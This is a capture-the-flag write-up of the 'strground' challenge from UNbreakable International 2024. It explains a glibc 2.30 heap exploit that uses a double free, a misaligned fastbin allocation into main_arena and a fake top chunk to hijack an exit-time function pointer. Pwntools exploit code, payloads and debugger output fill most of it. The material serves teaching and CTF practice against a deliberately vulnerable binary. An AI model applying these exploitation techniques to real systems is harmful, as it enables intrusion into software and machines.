UNbreakable International 2024 - strground
Solves: 1 (hard - 500)
A true battle is always held in arena.
Author: Luma
Team: Weak But Leet
Attachment: strground.zip xpl.py
strground
was an interesting challenge with some twists. The attachment provided a libc-2.30.so
and the binary contained an obvious double free bug with leaks.
So normally this should be super easy, just poisoning tcache and be good to go.
But the libc seemed to be patched to disable tcache, which leads to a rather weird situation:
We’ll not be able to use any tcache attacks, but at the same time have to get around the new security restrictions of 2.30
libc, which also makes normal heap attacks harder (top size checks, etc.).
Since there were no other solves to this challenge, I decided to do a writeup on it, though I’d love to see, if there’s an easier solution than this :)
Let’s take a look at the implementation
// Read command
read(0,buf,0x5f);
// Check for CREATE command
result = strncmp(buf,"CREATE ",7);
if (result != 0) break;
if (0xe < idx) {
puts("Maximum number of strings created.");
exit(0);
}
// Check size of string to create (max 0x5f-7)
for (k = 0; (buf[k] != '\n' && (k < 0x5f)); k = k + 1) {
}
k = k + -7;
memcpy(buf,buf + 7,(long)k);
// Allocate chunk for string
str_chunk = (char *)malloc((long)k);
// Put string chunk into string table
str_table[idx] = str_chunk;
memcpy(str_table[idx],buf,(long)k);
// Mark string as used
str_inuse[idx] = str_inuse[idx] + -1;
idx = idx + 1;
puts("Created string.");
The binary reads a command with size 0x5f
and then checks, which command we want to execute. For CREATE
it will take the rest of the string and
calculate the length of a string. The way it does this will restrain the maximum size, we can allocate to 0x5f-7
.
This is another constraint, the author seemed to put in to avoid that we do a simple misaligned allocation into __malloc_hook
. To be able to do this, we’d need to be able to allocate 0x70
fastbins, which we cannot do because of this. So another simple attack primitive is cancelled out.
// Check for ENCODE command
result = strncmp(buf,"ENCODE ",7);
if (result == 0) {
strcpy(buf,buf + 7);
// Get index from command
result = atoi(buf);
if (((0xe < result) || (buf[0] < '0')) || ('9' < buf[0])) {
puts("Not a valid number.");
exit(0);
}
if (str_inuse[result] != 0) {
puts("Can\'t encode something that doesn\'t exist.");
exit(0);
}
// Copy string into encoding buffer
str_len = strlen(str_table[result]);
strncpy(encodebuf,str_table[result],str_len);
// Add 0x3 to every byte
for (i = 0; encodebuf[i] != '\0'; i++) {
encodebuf[i] = encodebuf[i] + '\x03';
}
printf("Encoded your string!\n%s\n",encodebuf);
}
The ENCODE
command just takes the string buffer and adds 0x3
to every byte and then prints it out. We can use this function to leak data from the stack, we just have to keep in mind to reverse this to get the proper output.
// DELETE command
strcpy(buf,buf + 7);
idx = atoi(buf);
if (((0xe < idx) || (buf[0] < '0')) || ('9' < buf[0])) break;
if (str_inuse[idx] != 0) {
puts("Can\'t delete something that doesn\'t exist.");
exit(0);
}
// Free the chunk (not zeroing it out => UAF)
free(str_table[idx]);
printf("Deleted %d\n",idx);
DELETE
just frees the chunk, but doesn’t clear it from the table, by which we get a UAF with which we can easily double free and leak from chunks.
Before getting into the exploitation itself, let’s get some proper leaks. Since the buffer for the input command isn’t initialized, we might get some out of it.
────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffe270 → 0x0000000000000a63 ("c\n"?)
$rbx : 0x0
$rcx : 0x00007ffff7b030c3 → 0x5577fffff0003d48 ("H="?)
$rdx : 0x5f
$rsp : 0x00007fffffffe1a0 → 0x0000000ff7ffe730
$rbp : 0x00007fffffffe2f0 → 0x0000555555401060 → <__libc_csu_init+0> push r15
$rsi : 0x00007fffffffe270 → 0x0000000000000a63 ("c\n"?)
$rdi : 0x0
$rip : 0x0000555555400b9e → <main+211> call 0x5555554008f0 <read@plt>
$r8 : 0x0000555555603010 → 0x0000000000000000
$r9 : 0x3
$r10 : 0xa0
$r11 : 0x246
$r12 : 0x0000555555400960 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe3d0 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555400b91 <main+198> mov edx, 0x5f
0x555555400b96 <main+203> mov rsi, rax
0x555555400b99 <main+206> mov edi, 0x0
→ 0x555555400b9e <main+211> call 0x5555554008f0 <read@plt>
↳ 0x5555554008f0 <read@plt+0> jmp QWORD PTR [rip+0x2016b2] # 0x555555601fa8 <read@got.plt>
0x5555554008f6 <read@plt+6> push 0x7
0x5555554008fb <read@plt+11> jmp 0x555555400870
0x555555400900 <memcpy@plt+0> jmp QWORD PTR [rip+0x2016aa] # 0x555555601fb0 <memcpy@got.plt>
0x555555400906 <memcpy@plt+6> push 0x8
0x55555540090b <memcpy@plt+11> jmp 0x555555400870
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe1a0│+0x0000: 0x0000000ff7ffe730 ← $rsp
0x00007fffffffe1a8│+0x0008: 0x00007fff0000000f
0x00007fffffffe1b0│+0x0010: 0x00007ffff7ffeac0 → 0x00007ffff7ffe9f0 → 0x00007ffff7ffe758 → 0x00007ffff7ffe730 → 0x00007ffff7ffa000 → 0x00010102464c457f
0x00007fffffffe1b8│+0x0018: 0x00007ffff7ddfee0 → 0xb874c08530c48348
0x00007fffffffe1c0│+0x0020: 0x000000000000000f
0x00007fffffffe1c8│+0x0028: 0x0000555555603010 → 0x0000000000000000
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
read@plt (
$rdi = 0x0000000000000000,
$rsi = 0x00007fffffffe270 → 0x0000000000000a63 ("c\n"?),
$rdx = 0x000000000000005f
)
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/30gx $rsi
0x7fffffffe270: 0x0000000000000a63 0x0000000000000000
0x7fffffffe280: 0x0000000000000000 0x0000000000f0b5ff
0x7fffffffe290: 0x00000000000000c2 0x00007fffffffe2ce <= stack address
0x7fffffffe2a0: 0x0000000000000001 0x00007ffff7dd5308 <= libc address
0x7fffffffe2b0: 0x0000000000000001 0x00005555554010ad <= elf address
0x7fffffffe2c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe2d0: 0x0000555555401060 0x761d364ceed02b00
0x7fffffffe2e0: 0x00007fffffffe3d0 0x0000000000000000
0x7fffffffe2f0: 0x0000555555401060 0x00007ffff7a3e037
So we have a stack, libc and elf address inside the input buffer, which we can leak by creating aligned
commands, so that strncpy
will also copy those addresses into our string on the heap. We can then retrieve them via encode
.
#!/usr/bin/python
from pwn import *
import sys
HOST = "35.234.88.19"
PORT = 31273
PROCESS = "./chall"
def create(msg):
r.send("CREATE %s" % msg)
r.recvline()
def show(idx):
r.sendline("PRINT %s" % str(idx))
r.recvuntil(": ")
LEAK = r.recvline()
return LEAK
def free(idx):
r.sendline("DELETE %s" % str(idx))
r.recvline()
def encode(idx):
r.sendline("ENCODE %s" % str(idx))
r.recvline()
LEAK = r.recvline()[:-1]
result = ""
for ch in LEAK:
result += chr((ord(ch)-3) % 256)
return result
def exploit(r):
# create aligned string to leak stack
create("A"*0x21) # 0
STACKLEAK = u64(encode(0)[0x21:0x21+8].ljust(8, "\x00"))
log.info("STACK leak : %s" % hex(STACKLEAK))
free(0)
# create aligned string to leak libc
create("A"*0x2b) # 0 / 1
LIBCLEAK = u64(encode(1)[0x2a:0x2a+6].ljust(8, "\x00"))-0x41
libc.address = LIBCLEAK - 0x3b9300
log.info("LIBC leak : %s" % hex(LIBCLEAK))
log.info("LIBC : %s" % hex(libc.address))
free(0)
# create aligned string to leak pie
create("A"*(0x2b+8)) # 0 / 2
PIELEAK = u64(encode(2)[0x33:0x33+6].ljust(8, "\x00"))
log.info("PIE leak : %s" % hex(PIELEAK))
r.interactive()
return
if __name__ == "__main__":
libc = ELF("./libc.so.6")
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
else:
LOCAL = True
r = process("./chall")
print(util.proc.pidof(r))
pause()
exploit(r)
[*] STACK leak : 0x7fffffffe2ce
[*] LIBC leak : 0x7ffff7dd5300
[*] LIBC : 0x7ffff7a1c000
[*] PIE leak : 0x5555554010ad
Getting a heap
leak is pretty simple due to the fact that we can do double frees.
create("A"*0x50) # 3
# free two chunks, to fill a freed fd to leak
free(3)
free(0)
HEAPLEAK = u64(encode(0)[:6].ljust(8, "\x00"))
HEAPBASE = HEAPLEAK-0xe0
log.info("HEAP leak : %s" % hex(HEAPLEAK))
With this we should have all the leaks we’d possibly need to tackle this.
Like already mentioned, we can only create chunks with a max size of 0x58
, so we’ll not be able to create 0x70
fastbins, so misaligned allocation into __malloc_hook
won’t work. We also don’t have tcache arena
, so all of the usual tcache
stuff won’t work also.
At that point, I created some fake unsorted bin chunks on the heap and did backwards consolidation into the string table itself, which then gives us a nice primitive, since we then control the complete string table, but that didn’t seem to help us much, since we then still can only show or delete valid chunks (which was already possible without this).
Since this didn’t really add any value, I went back to the start and checked what else we can do. Then I remembered a little trick uafio
and me used in some older challenges, when tcache
wasn’t a thing.
Though misaligned allocation into __malloc_hook
doesn’t work, since we would need a 0x70
chunk for it, we can create and free 0x50
chunks. Since freeing a fastbin on the heap will put the address into main_arena
, we can then do a misaligned allocation with that address.
We have already a freed 0x60
fastbin in main_arena
, let’s take a look at it.
gef➤ x/30gx 0x7ffff7dd0b50
0x7ffff7dd0b50: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0b60: 0x0000000000000000 0x0000000000000001
0x7ffff7dd0b70: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0b80: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0b90: 0x0000555555603080 0x0000000000000000 <= 0x60 fastbin
0x7ffff7dd0ba0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bb0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bc0: 0x0000555555603140 0x0000000000000000 <= top / remainder
0x7ffff7dd0bd0: 0x00007ffff7dd0bc0 0x00007ffff7dd0bc0
0x7ffff7dd0be0: 0x00007ffff7dd0bd0 0x00007ffff7dd0bd0
gef➤ x/30gx 0x7ffff7dd0b80+13
0x7ffff7dd0b8d: 0x5555603080000000 0x0000000000000055 <= misaligned chunk
0x7ffff7dd0b9d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bad: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bbd: 0x5555603140000000 0x0000000000000055
0x7ffff7dd0bcd: 0xfff7dd0bc0000000 0xfff7dd0bc000007f
0x7ffff7dd0bdd: 0xfff7dd0bd000007f 0xfff7dd0bd000007f
0x7ffff7dd0bed: 0xfff7dd0be000007f 0xfff7dd0be000007f
So, this looks almost like a possible target for allocating a 0x50
fastbin into, though a size of 0x55
is not a valid size for a fastbin. But when we’ll re-enable ASLR
there’s a 50/50 chance, that the heap address will not start with 0x55
, but with 0x56
, which IS a valid fastbin size.
This enables us to to do a double free on 0x50
chunks, overwrite the freed FD
and allocate into this misaligned chunk, by which we can then overwrite stuff in main_arena
itself (like for example the top
pointer).
Again, the allocation will fail, if the heap address starts with 0x55
and only with ASLR enabled, there’s a chance that it starts with 0x56
.
For having an easier time debugging this, I’ll keep ASLR disabled for now and manually overwrite the chunk size within gdb to simulate a successful ASLR run.
gef➤ set *0x7ffff7dd0b95=0x56
This way, we can keep it easy with breakpoints but have the same behaviour as with ASLR.
# prepare double free
create("A"*(0x50-8)+"\n") # 4
create("A"*(0x50-8)+"\n") # 5
# double free string 4
free(4)
free(5)
free(4)
# overwrite freed fd to allocate into main_arena (use misaligned address to create valid size 0x56)
payload = p64(libc.address+0x3b4b8d)
payload += "A"*(0x50-8-len(payload))
payload += "\n"
create(payload)
# allocate two chunks, to get fake FD pointer into fastbin list
create("A"*(0x50-8))
create("A"*(0x50-8))
# set *0x7ffff7dd0b95=0x56
pause()
After this, we should have our fake FD
in main arena
fastbin list, so the next allocation of a 0x50
chunk would write into main_arena
.
gef➤ x/30gx 0x7ffff7dd0b50
0x7ffff7dd0b50: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0b60: 0x0000000000000000 0x0000000000000001
0x7ffff7dd0b70: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0b80: 0x0000000000000000 0x00007ffff7dd0b8d <= 0x50 fastbin
0x7ffff7dd0b90: 0x0000555555603080 0x0000000000000000 <= 0x60 fastbin
0x7ffff7dd0ba0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bb0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bc0: 0x00005555556031e0 0x0000000000000000
0x7ffff7dd0bd0: 0x00007ffff7dd0bc0 0x00007ffff7dd0bc0
0x7ffff7dd0be0: 0x00007ffff7dd0bd0 0x00007ffff7dd0bd0
gef➤ set *0x7ffff7dd0b95=0x56
gef➤ x/30gx 0x7ffff7dd0b80+13
0x7ffff7dd0b8d: 0x555560308000007f 0x0000000000000056
0x7ffff7dd0b9d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bad: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bbd: 0x55556031e0000000 0x0000000000000055
With everything prepared, we can now overwrite the top
pointer with the next allocation, so now we should be game, just putting some address into top, easily putting a ropchain to stack or somewhere else…
But again… We have a 2.30
libc, which has some additional checks for the top
chunk, like for example, that it need to have a valid top
size (< 0x21000
and more), so we can not
just point it anywhere
:-/
Finding a good target for a fake top
chunk took ages… First I tried to find a good top
size on the stack, so that we could put a ropchain into the return of the memcpy
function, but after some time I gave that up, since there didn’t seemed to be anything on the stack we could use (or it would have been overwritten after the allocation).
So, I went into debugging the exit
function, with which we soon landed in ld
land, which was a bit of a pain to debug, since we don’t have an ld
with debug symbols at hand. But after a lot of time digging through it with gdb, we’ll land here
────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffe0b8 → 0x00007ffff7ffe730 → 0x00007ffff7ffa000 → 0x00010102464c457f
$rbx : 0x00007ffff7ffd060 → 0x00007ffff7ffe190 → 0x0000555555400000 → jg 0x555555400047
$rcx : 0x0
$rdx : 0x2
$rsp : 0x00007fffffffe0b0 → 0x00007ffff7ffe190 → 0x0000555555400000 → jg 0x555555400047
$rbp : 0x00007fffffffe130 → 0x00007ffff7dd06f8 → 0x00007ffff7dd1c80 → 0x0000000000000000
$rsi : 0x0
$rdi : 0x00007ffff7ffd968 → 0x0000000100000000
$rip : 0x00007ffff7de5260 → 0x854500218d0215ff
$r8 : 0x0
$r9 : 0x00007fffffffdff4 → 0x0000000000000001
$r10 : 0x2
$r11 : 0x246
$r12 : 0x0
$r13 : 0x0
$r14 : 0x00007fffffffe0b0 → 0x00007ffff7ffe190 → 0x0000555555400000 → jg 0x555555400047
$r15 : 0x4
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7de524f mov ecx, 0x1
0x7ffff7de5254 call 0x7ffff7deb730
0x7ffff7de5259 lea rdi, [rip+0x218708] # 0x7ffff7ffd968
→ 0x7ffff7de5260 call QWORD PTR [rip+0x218d02] # 0x7ffff7ffdf68
0x7ffff7de5266 test r15d, r15d
0x7ffff7de5269 je 0x7ffff7de533e
0x7ffff7de526f lea eax, [r15-0x1]
0x7ffff7de5273 lea rax, [r14+rax*8+0x8]
0x7ffff7de5278 mov QWORD PTR [rbp-0x48], rax
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0b0│+0x0000: 0x00007ffff7ffe190 → 0x0000555555400000 → jg 0x555555400047 ← $rsp, $r14
0x00007fffffffe0b8│+0x0008: 0x00007ffff7ffe730 → 0x00007ffff7ffa000 → 0x00010102464c457f ← $rax
0x00007fffffffe0c0│+0x0010: 0x00007ffff7ff4000 → 0x00007ffff7a1c000 → 0x03010102464c457f
0x00007fffffffe0c8│+0x0018: 0x00007ffff7ffd9e8 → 0x00007ffff7dd6000 → 0x00010102464c457f
0x00007fffffffe0d0│+0x0020: 0x0000000000000d68 ("h\r"?)
0x00007fffffffe0d8│+0x0028: 0x00007ffff7de518f → 0x48ca74d28508538b
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x7ffff7ffdf68 (
$rdi = 0x00007ffff7ffd968 → 0x0000000100000000,
$rsi = 0x0000000000000000,
$rdx = 0x0000000000000002,
$rcx = 0x0000000000000000
)
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/30gx 0x7ffff7ffdf68-0x200
0x7ffff7ffdd68: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdd78: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdd88: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdd98: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdda8: 0x0000000000000000 0x0000000000000000
0x7ffff7ffddb8: 0x0000000100000000 0x0000000000000000
0x7ffff7ffddc8: 0x0000000300000000 0x0000000000000000
0x7ffff7ffddd8: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdde8: 0x00007ffff7dd6480 0x0000000000000001
0x7ffff7ffddf8: 0x00007ffff7ff4000 0x00007ffff7a211a8
0x7ffff7ffde08: 0x0000000000000000 0x0000000000000000
0x7ffff7ffde18: 0x0000000000000000 0x0000000000000000
0x7ffff7ffde28: 0x0000000000000000 0x0000000000000000
0x7ffff7ffde38: 0x0000000000000000 0x0000000000000000
0x7ffff7ffde48: 0x00000000002265a0 0x0000000000000a60 <= possible top size??
gef➤
0x7ffff7ffde58: 0x0000000000000000 0x0000000000000000
0x7ffff7ffde68: 0x0000000000000000 0x0000000000000000
0x7ffff7ffde78: 0x0000000000000000 0x0000000000000000
0x7ffff7ffde88: 0x0000000000000000 0x0000000000000000
0x7ffff7ffde98: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdea8: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdeb8: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdec8: 0x0000000000000000 0x0000000000000000
0x7ffff7ffded8: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdee8: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdef8: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdf08: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdf18: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdf28: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdf38: 0x0000000000000000 0x0000000000000000
gef➤
0x7ffff7ffdf48: 0x0000000000000000 0x0000000000000000
0x7ffff7ffdf58: 0x0000000000000000 0x00007ffff7dd7200
0x7ffff7ffdf68: 0x00007ffff7dd7210 0x0000000000000000 <= call target
As it turns out, 0xa60
is a good top chunk size. So we can overwrite top
with 0x7ffff7ffde48
and then the next allocations will go there, increasing our fake top chunk
until we can overwrite the function pointer, that gets called in the ld
code.
Let’s try it out
payload = "\x00\x00\x00"
payload += p64(0x0)+p64(0x0)
payload += p64(0x0)+p64(0x0)
payload += p64(libc.address+0x5e1e50-8) + p64(0)
payload += p64(libc.address+0x3b4bc0) + p64(libc.address+0x3b4bc0)
payload += p64(libc.address+0x3b4bd0)[:5]
create(payload)
With this, we’ll have overwritten top
to point to our fake top
.
payload = "A"*24
payload += p64(0xdeadbee1)
payload += p64(0xdeadbee2)
payload += p64(0xdeadbeef)
payload += p64(0xdeadbeef)
create(payload)
create(payload)
create(payload)
create(payload)
With some additional allocations, which go to our fake top
chunk, we should now have overwritten the function pointer, that get’s called from exit
handler.
Calling EXIT
after this results in
────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007ffff7ffd060 → 0x00007ffff7ffe190 → 0x0000555555400000 → jg 0x555555400047
$rbx : 0x00007ffff7ffd060 → 0x00007ffff7ffe190 → 0x0000555555400000 → jg 0x555555400047
$rcx : 0x1
$rdx : 0x00007ffff7de5120 → 0x56415741e5894855
$rsp : 0x00007fffffffe0d8 → 0x00007ffff7de518f → 0x48ca74d28508538b
$rbp : 0x00007fffffffe130 → 0x00007ffff7dd06f8 → 0x00007ffff7dd1c80 → 0x0000000000000000
$rsi : 0x0
$rdi : 0x00007ffff7ffd968 → 0x0000000000000000
$rip : 0xdeadbee1
$r8 : 0x00007ffff7ffdf48 → 0x4141414141414141 ("AAAAAAAA"?)
$r9 : 0x0
$r10 : 0x00007fffffffb9b8 → 0x00007ffff7a9662e → 0x830ff0394cc72949
$r11 : 0x246
$r12 : 0x0
$r13 : 0x1
$r14 : 0x00007ffff7dd5308 → 0x0000000000000000
$r15 : 0x00007ffff7dd1c80 → 0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0d8│+0x0000: 0x00007ffff7de518f → 0x48ca74d28508538b ← $rsp
0x00007fffffffe0e0│+0x0008: 0x0000000000000d68 ("h\r"?)
0x00007fffffffe0e8│+0x0010: 0x00007ffff7dcd420 → 0x0000000000000000
0x00007fffffffe0f0│+0x0018: 0x00007fff00000000
0x00007fffffffe0f8│+0x0020: 0x00007ffff7a9524f → 0xb70fc48949c08548
0x00007fffffffe100│+0x0028: 0x000000000000000a ("\n"?)
[!] Cannot access memory at address 0xdeadbee1
─────────────────────────────────────────────────────────────────────────────────────────────────────
Finally, rip
control… But we have only one shot, and one_gadget
constraints of the provided libc
all won’t work at this point (r12
and r13
should be 0x0
for it.).
Let’s just put a ret
there for now, to see where we’ll be going.
RET = libc.address + 0x00000000000b5b76
payload = "A"*24
payload += p64(RET)
payload += p64(0xdeadbee2)
payload += p64(0xdeadbeef)
payload += p64(0xdeadbeef)
create(payload)
create(payload)
create(payload)
create(payload)
────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffe0b8 → 0x00007ffff7ffe730 → 0x00007ffff7ffa000 → 0x00010102464c457f
$rbx : 0x00007ffff7ffd060 → 0x00007ffff7ffe190 → 0x0000555555400000 → jg 0x555555400047
$rcx : 0x0
$rdx : 0x2
$rsp : 0x00007fffffffe0a8 → 0x00007ffff7de5266 → 0x0000cf840fff8545
$rbp : 0x00007fffffffe130 → 0x00007ffff7dd06f8 → 0x00007ffff7dd1c80 → 0x0000000000000000
$rsi : 0x0
$rdi : 0x00007ffff7ffd968 → 0x0000000000000000
$rip : 0xdeadbee2
$r8 : 0x0
$r9 : 0x00007fffffffdff4 → 0x0000000000000001
$r10 : 0x2
$r11 : 0x246
$r12 : 0x0
$r13 : 0x0
$r14 : 0x00007fffffffe0b0 → 0x00007ffff7ffe190 → 0x0000555555400000 → jg 0x555555400047
$r15 : 0x4
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0a8│+0x0000: 0x00007ffff7de5266 → 0x0000cf840fff8545 ← $rsp
0x00007fffffffe0b0│+0x0008: 0x00007ffff7ffe190 → 0x0000555555400000 → jg 0x555555400047 ← $r14
0x00007fffffffe0b8│+0x0010: 0x00007ffff7ffe730 → 0x00007ffff7ffa000 → 0x00010102464c457f ← $rax
0x00007fffffffe0c0│+0x0018: 0x00007ffff7ff4000 → 0x00007ffff7a1c000 → 0x03010102464c457f
0x00007fffffffe0c8│+0x0020: 0x00007ffff7ffd9e8 → 0x00007ffff7dd6000 → 0x00010102464c457f
0x00007fffffffe0d0│+0x0028: 0x0000000000000d68 ("h\r"?)
[!] Cannot access memory at address 0xdeadbee2
─────────────────────────────────────────────────────────────────────────────────────────────────────
So, we hit our next 0xdeadbee2
, but this time r12
and r13
are 0x0
, which fulfills the constraints for the one_gadget
, so let’s just put it there to finally end this :)
RET = libc.address + 0x00000000000b5b76
payload = "A"*24
payload += p64(RET)
payload += p64(libc.address+0xc4dbf) # one_gadget
payload += p64(0xdeadbeef)
payload += p64(0xdeadbeef)
create(payload)
create(payload)
create(payload)
create(payload)
$ python2 work.py
[*] '/media/sf_ctf/unbreak/strground/source/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './chall': pid 3615
[3615]
[*] Paused (press any to continue)
[*] STACK leak : 0x7fffffffe2ce
[*] LIBC leak : 0x7ffff7dd5300
[*] LIBC : 0x7ffff7a1c000
[*] PIE leak : 0x5555554010ad
[*] HEAP leak : 0x5555556030e0
[*] __malloc_hook : 0x7ffff7dd0b50
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ EXIT
Exiting...
$ id
uid=1000(kileak) gid=1000(kileak)
Like already mentioned, for the exploit to work with ASLR
, we might need to run it multiple times to get a heap address, that starts with 0x56
.
But after some runs against the remote challenge server, we should come to something like this
[*] '/media/sf_ctf/unbreak/strground/source/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 35.234.88.19 on port 31273: Done
[*] STACK leak : 0x7ffc4857e31e
[*] LIBC leak : 0x7f55807a5300
[*] LIBC : 0x7f55803ec000
[*] PIE leak : 0x564a534010ad
[*] HEAP leak : 0x564a53e4d0e0
[*] __malloc_hook : 0x7f55807a0b50
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ ls
chall
flag.txt
ld-2.30.so
ld.so.2
libc-2.30.so
libc.so.6
strground.c
$ cat flag.txt
CTF{e4ab66d73bdc695ee3910c5b9ac133081434d1bbb92a26217871ea546d78218b}
That was an interesting challenge, having to deal with 2.30
heap hardening restrictions, without having access to tcache
(avoiding all the usual cookie cutter solutions).